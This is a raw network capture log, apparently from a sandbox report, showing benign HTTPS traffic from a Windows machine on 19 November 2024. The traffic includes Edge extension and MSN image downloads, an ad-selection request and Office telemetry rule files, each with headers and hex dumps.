2024-11-19 23:19:23 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	62040	152.195.19.97	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	628	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732663158&P2=404&P3=2&P4=cC7D%2bCMm%2f%2fK%2bMAH4Q%2blY9pvhXR78QbXmtY713HGi9Al17aTR9K5YYBIsZBlw%2fag%2fxW%2b6YrETlmN2B0Dw1QwF0g%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: fb8dTeO/9oFEO0tl8fPdRa Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:23 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 11984894 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Tue, 19 Nov 2024 23:19:23 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-19 23:19:23 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231923Z-1777c6cb754xrr98hC1TEB3kag00000008gg00000000n7bu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231923Z-1777c6cb754wcxkwhC1TEB3c6w00000008pg00000000cr0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	62042	20.96.153.111	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=045B60278D93687D3610751B8C3B691E&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=c40968c577064108c32cbe0d52b9a52a HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=045B60278D93687D3610751B8C3B691E; _EDGE_S=F=1&SID=1B18497342CD6CE2124A5C4F435B6D72; _EDGE_V=1
2024-11-19 23:19:23 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 19 Nov 2024 23:19:22 GMT Connection: close
2024-11-19 23:19:23 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	62043	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:23 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231923Z-r1d97b99577l6wbzhC1TEB3fwn000000080g00000000p7ax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:23 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	62044	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:23 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231923Z-r1d97b99577hsvhhhC1TEByb1w000000026000000000ppcw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:23 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	62058	104.117.182.9	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	634	OUT	GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:24 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 08 Nov 2024 13:42:23 GMT X-Datacenter: westus X-ActivityId: 54514d10-e954-4c08-a458-7867f3149dc5 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msG0Z X-Source-Length: 132415 Content-Length: 132415 Cache-Control: public, max-age=224556 Expires: Fri, 22 Nov 2024 13:41:59 GMT Date: Tue, 19 Nov 2024 23:19:23 GMT Connection: close
2024-11-19 23:19:24 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: f2 f8 87 0a af d5 5e 42 ab 9e 5e 85 a9 ea 08 31 37 1a bb d2 b5 11 2e 8d c4 52 ad 95 05 57 2b 7e 0b 50 3b d3 20 d4 c2 c5 58 73 63 aa 46 4c 73 b9 a3 76 1f 5e ab 41 5e 35 12 ea 0d ab 75 62 3c 6a 05 57 85 2f ea 6d 3d c1 1b 55 0d 9d cd 56 57 a5 2e c6 38 55 c9 11 6d 54 ce c4 ef 5b eb b0 aa 5a 95 26 8f 24 46 ce 1c cd 50 f5 4d 0e 92 2a d8 35 7c 62 36 b0 e4 6a cf 54 55 1a 4d 47 41 a7 a8 9d d5 de b7 2a af d6 6a 97 a7 5b e9 d6 e8 fb 54 72 9a 58 b1 a6 4a 55 25 6a e6 91 76 a8 12 6a d9 8e 15 1d 35 65 34 ab 2c 2a bd 46 af d3 54 1a 64 96 a9 ac 9a 8c 56 de 9b 24 0d 5c 2a bb d5 83 55 4a a2 fa ac 93 c2 b6 0d 5b 06 a1 64 c8 35 9e 99 34 f6 81 4d 2a 0a 7c 9b 88 4f a5 57 04 a2 da 05 42 14 54 73 da b8 c2 61 16 a7 ec 15 79 d3 ce a9 3a 69 79 53 35 af 2a 59 98 9a 99 93 c2 a9 20 d1 Data Ascii: ^B^17.RW+~P; XscFLsv^A^5ub<jW/m=UVW.8UmT[Z&$FPM5\|b6jTUMGAj[TrXJU%jvj5e4,FTdV$\UJ[d54M\|OWBTsay:iyS5Y
2024-11-19 23:19:24 UTC	2440	IN	Data Raw: 55 ca 97 18 0e dd ab 1e 55 0f c2 30 e5 7d a8 e9 56 b0 99 32 60 8a ac fb 4f 09 db 8f d2 97 2a 7c 60 37 e1 0c c1 89 e5 5a 7b 46 1c 87 f5 ca ba 21 85 47 ba dc 26 a9 cd e9 2c 33 34 13 6e 7f 2a 5c a9 71 80 a3 b3 c9 3f f1 54 e5 ed 1c fb d4 c6 93 ff 00 34 73 0b e3 c8 a7 4b c8 9b ff 00 2a b3 30 4c 60 16 3a 47 05 e7 e1 f9 fc e9 f2 ad c6 04 63 c0 d9 f1 eb c7 f0 71 32 27 e9 bc 75 da b7 f0 a7 8e dc bf 99 ab b0 65 40 e5 51 a0 64 26 27 8f 38 e4 3e 54 55 57 4c 98 13 3b 74 a5 72 b1 a6 31 cd be 84 e7 03 88 06 de 3c 2a a1 80 bd c0 b7 03 c2 2b a7 7c 68 18 41 8d ad c0 8e 44 57 95 81 05 14 44 5f a0 aa e4 d7 07 35 f8 67 fb 26 a9 3d bb b7 02 2b ac 0d 0b cf 4f fc d4 43 de 0e cd c7 95 b6 a5 ce 97 09 ea e2 9b 03 02 40 14 ca 61 68 bf fc 57 63 81 71 b2 ef 24 6f e1 4b f7 19 31 df 42 Data Ascii: UU0}V2`O\|`7Z{F!G&,34n\q?T4sK0L`:Gcq2'ue@Qd&'8>TUWL;tr1<+\|hADWD_5g&=+OC@ahWcq$oK1B
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: 2a 2e 57 53 40 e0 b7 8e bc aa 9c 78 c2 61 d1 62 44 a9 9b 6c 4e f4 f7 b2 d6 8b 41 89 17 e1 d0 71 fc aa 61 c3 e3 16 22 45 45 5b d3 2c 0e c6 0c 74 da ac 46 c5 3a 44 45 f6 bd 6d 1e d4 a6 92 16 4f 19 16 e5 56 06 d4 58 11 00 6d 13 33 48 66 25 32 e2 c6 a6 03 31 73 e4 3f 7d 20 b9 cc e7 bc dd e3 a4 45 2d 16 dd 46 85 60 4c 5f 7a ae 54 ab 31 9d b6 e5 43 7b 7c 8e e3 41 37 e3 c2 6d c2 99 1a d7 3e 96 8b 02 57 f8 87 2f 3a 7a 3d a9 42 af 06 24 0b 4f 85 5a b8 c5 c9 32 06 de 3c 29 86 c7 a3 41 51 66 26 47 9f 1a 5c a1 46 7c 63 a1 1e 3c 2b 54 b4 00 5a db a8 fa d6 85 5c a4 88 fd d4 43 22 85 50 63 dc 47 eb 4a 89 0c 41 03 9f 53 49 54 98 d6 09 58 f8 45 8d 3f e9 ab 28 60 7c ff 00 ae b5 af 97 4f b9 80 13 e5 f9 d2 1e b2 a3 33 7f d3 62 27 f8 4f 1e b1 cc 78 8a da 61 04 24 cd ad fd 7f Data Ascii: *.WS@xabDlNAqa"EE[,tF:DEmOVXm3Hf%21s?} E-F`L_zT1C{\|A7m>W/:z=B$OZ2<)AQf&G\F\|c<+TZ\C"PcGJASITXE?(`\|O3b'Oxa$
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: 42 b1 b7 01 4b 4a 94 11 9f 2a ac 42 84 11 22 39 19 f6 dc 7b b8 4d eb 99 ff 00 20 be a9 95 98 01 75 a1 22 d6 be f0 3c eb b6 ee 71 e0 0c 7d a7 54 69 22 e4 7b 48 33 26 66 7c 0d 70 d9 f1 0b 9f 78 c8 2e cb 6b 89 99 b9 13 c6 47 0a 77 1b 34 9d ef 62 08 a5 d2 db d8 c4 83 06 36 de 8c 76 8a ba 17 23 c9 09 a8 c0 23 dc 49 81 ce de d3 40 b0 13 8c 06 0a c2 79 fe 46 0f 0e 15 7f 7b 94 a6 1c 64 29 5d 40 12 3a eb 73 36 3b 79 55 4d 26 f8 12 cf fe 44 34 fa 68 aa 9e 40 5b ad 4b d4 9c 64 b2 87 76 31 a4 7b 4a 29 1b b1 83 06 36 02 f0 68 5e 11 8f 4a 33 46 bc 9f 68 d9 64 48 24 1b df ee 2c 75 da 89 60 c0 0b 92 cc 34 07 2e 58 9f e1 f9 93 14 f2 cb 7d 34 82 7d c7 6d e8 ae 3c 88 9d b8 64 6d 41 21 a6 37 86 76 04 18 e5 04 57 39 88 a6 6c 99 75 e0 51 ae 09 ba 9d 10 49 f6 83 11 bc 47 95 74 Data Ascii: BKJ*B"9{M u"<q}Ti"{H3&f\|px.kGw4b6v##I@yF{d)]@:s6;yUM&D4h@[Kdv1{J)6h^J3FhdH$,u`4.X}4}m<dmA!7vW9luQIGt
2024-11-19 23:19:24 UTC	7952	IN	Data Raw: 64 68 3b 00 bb 73 dc 7e 54 8e 3c da 89 0c 35 ba 83 ab 93 2f d9 3c c8 fb a6 ab 2e c6 34 37 b3 27 dd 85 80 00 be a5 82 25 78 d4 af 63 5e b3 ea 1a f2 ae 31 bd 80 6d 42 24 a8 0b b1 8e b4 c1 ee 55 b4 b2 b3 44 75 2c 7a 88 81 42 1b 2e 22 c8 34 08 4f 82 05 a4 8d 8c c4 9e 36 e3 4a e2 38 e0 b0 52 46 d2 a6 0a ab 1f 7c 29 92 02 9b f1 aa ad 2d 1e 2e b9 13 49 c8 4e ae 04 79 88 3e ee 94 0b f0 f6 d6 32 71 86 f7 b4 0e 56 bd 13 c6 9a 95 d9 8f c0 04 7d a9 43 78 3b 5e 35 0d ea c6 ed b1 37 a8 15 8a 16 21 ac 62 2f c0 81 6b f9 ef 4b 67 66 c2 1f b6 fb ac cc 24 98 fb b6 17 92 00 53 17 aa 7d 02 40 0a fc 8d c8 63 7d 8d c1 b7 2a 22 35 a0 8c 8b 74 d0 75 7d e8 36 24 f0 3c 26 38 1a 51 90 62 7d ed a6 17 8c 75 1c 63 98 b8 f2 ab da 35 0a 28 66 46 05 8b c1 20 a3 28 99 aa 10 a6 37 d0 15 25 Data Ascii: dh;s~T<5/<.47'%xc^1mB$UDu,zB."4O6J8RF\|)-.INy>2qV}Cx;^57!b/kKgf$S}@c}*"5tu}6$<&8Qb}uc5(fF (7%
